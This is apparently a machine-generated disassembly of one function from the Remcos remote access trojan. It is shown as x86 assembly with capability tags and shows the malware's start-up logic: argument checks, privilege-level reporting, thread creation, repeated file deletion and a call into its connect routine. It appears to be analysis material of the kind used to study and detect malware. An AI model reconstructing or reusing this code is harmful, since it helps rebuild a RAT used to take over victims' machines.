Function at 0x40a1d6
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0xfc
mov dword [0x465a8c], eax
push ebx
push esi
push edi
call fcn.00414ea2
push 0x104
push 0x465a90
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea ecx, [esp + 0x40]
call fcn.0040a60c
sub esp, 0x18
mov ecx, esp
push 0x467fa8
call fcn.004021e0
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.004021e0
lea ecx, [esp + 0x54]
call fcn.00414339
add esp, 0x30
push eax
call fcn.0040a9e5
lea ecx, [esp + 0x24]
call fcn.004034fa
mov ecx, dword [ebp + 0x10]
cmp byte [ecx], 0x2d
jne 0x40a2a7
cmp byte [ecx + 1], 0x6c
jne 0x40a2a7
movzx eax, byte [ecx + 2]
test al, al
jne 0x40a2a7
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x68]
call fcn.0040aa8b
push 0x34
mov ecx, 0x467e5c
call fcn.004034cf
mov ecx, eax
call fcn.00402028
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0040be14
lea ecx, [esp + 0x58]
call fcn.0040aa3c
lea ecx, [esp + 0x58]
call fcn.0040a5f9
xor esi, esi
inc esi
jmp 0x40a32b
mov ebx, 0x467e5c
push 3
mov ecx, ebx
call fcn.004034cf
push str._nF2
push 0xe
mov ecx, ebx
call fcn.004034cf
push eax
mov edx, str.Software_
lea ecx, [esp + 0x14]
call fcn.00402a91
pop ecx
mov edx, eax
lea ecx, [esp + 0x28]
call fcn.00404804
pop ecx
push eax
mov ecx, 0x467f30
call fcn.0040209b
lea ecx, [esp + 0x24]
call fcn.00402091
lea ecx, [esp + 0xc]
call fcn.00402091
push 0xe
mov ecx, ebx
call fcn.004034cf
push eax
mov ecx, 0x467f60
call fcn.00402077
push 0x459e60
mov ecx, 0x467fc0
call fcn.00403f1f
call fcn.004087ef
test eax, eax
jne 0x40a33f
push 2
pop esi
lea ecx, [esp + 0x40]
call fcn.00402091
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [0x467a1c]
test eax, eax
je 0x40a34a
call eax
call fcn.0041395b
mov eax, dword [0x467a28]
test eax, eax
je 0x40a35f
call eax
mov dword [0x4649b0], eax
push 0xe
mov ecx, ebx
call fcn.004034cf
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.004141da
push eax
mov ecx, 0x467f00
call fcn.004064d4
lea ecx, [esp + 0xc]
call fcn.004034ff
push 4
mov ecx, ebx
call fcn.004034cf
push 5
mov ecx, ebx
call fcn.004034cf
push 8
mov ecx, ebx
call fcn.004034cf
push 3
mov ecx, ebx
call fcn.004034cf
mov ecx, eax
call fcn.00402028
cmp byte [eax], 0
je 0x40a41e
push 0x30
mov ecx, ebx
call fcn.004034cf
mov ecx, eax
call fcn.00402028
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x40a3ca
sub eax, edx
sar eax, 1
je 0x40a41e
push 9
mov ecx, ebx
call fcn.004034cf
mov ecx, eax
call fcn.00402028
push 0x30
mov ecx, ebx
mov esi, eax
call fcn.004034cf
mov ecx, eax
call fcn.00402028
mov dl, byte [esi]
lea ecx, [esp + 0xc]
push eax
call fcn.0040900f
pop ecx
push eax
mov ecx, 0x467f48
call fcn.004064d4
lea ecx, [esp + 0xc]
call fcn.004034ff
push 1
push 0x34
mov ecx, ebx
call fcn.004034cf
mov ecx, eax
call fcn.00402028
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402178
push str.licence
mov ecx, 0x467f30
call fcn.00402028
mov edx, eax
call fcn.0040d202
add esp, 0x20
mov ecx, ebx
push 0x28
call fcn.004034cf
mov ecx, eax
call fcn.00402028
push eax
call fcn.00433426
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
mov byte [0x465a81], al
pop ecx
cmp al, 2
jne 0x40a47e
mov cl, 1
jmp 0x40a484
cmp al, 1
jne 0x40a495
xor cl, cl
call fcn.004150dd
push edi
push edi
push edi
push 0x415917
push edi
push edi
call esi
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402178
sub esp, 0x18
mov ebx, 0x459450
mov ecx, esp
push ebx
call fcn.00402178
call fcn.00413b81
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00413c9f
push eax
mov ecx, 0x467f90
call fcn.004064d4
lea ecx, [esp + 0xc]
call fcn.004034ff
mov eax, dword [0x467a20]
test eax, eax
je 0x40a4e5
push edi
call eax
push edi
push edi
push edi
push 0x40a6c0
push edi
push edi
call esi
mov eax, dword [0x4649b0]
sub eax, edi
je 0x40a506
sub eax, 1
jne 0x40a540
push str.Administrator
jmp 0x40a50b
push str.User
lea ecx, [esp + 0x10]
call fcn.00402178
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.00402a6d
sub esp, 0x14
mov ecx, esp
push ebx
call fcn.00402178
call fcn.00413b81
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00402091
mov ebx, 0x467f30
push 0x459eb0
mov ecx, ebx
call fcn.00402028
mov edx, eax
call fcn.0040cf8c
pop ecx
test al, al
je 0x40a5ee
push ecx
mov edx, ebx
lea ecx, [esp + 0x10]
call fcn.004141da
mov ecx, eax
call fcn.00404c42
push eax
lea ecx, [esp + 0x2c]
call fcn.0040d0a8
pop ecx
pop ecx
lea ecx, [esp + 0xc]
call fcn.004034ff
lea ecx, [esp + 0x24]
call fcn.00404c42
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
jmp 0x40a5b1
cmp edi, 0xa
jge 0x40a5b8
push 0xa
inc edi
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x24]
call fcn.00404c42
push eax
call esi
test eax, eax
je 0x40a59a
push 0x459eb4
mov edx, ebx
lea ecx, [esp + 0x10]
call fcn.004141da
mov ecx, eax
call fcn.00404c42
mov edx, eax
mov ecx, connect
call fcn.0040d444
pop ecx
lea ecx, [esp + 0xc]
call fcn.004034ff
lea ecx, [esp + 0x24]
call fcn.004034ff
call fcn.004092fd
call fcn.0040e92f
int3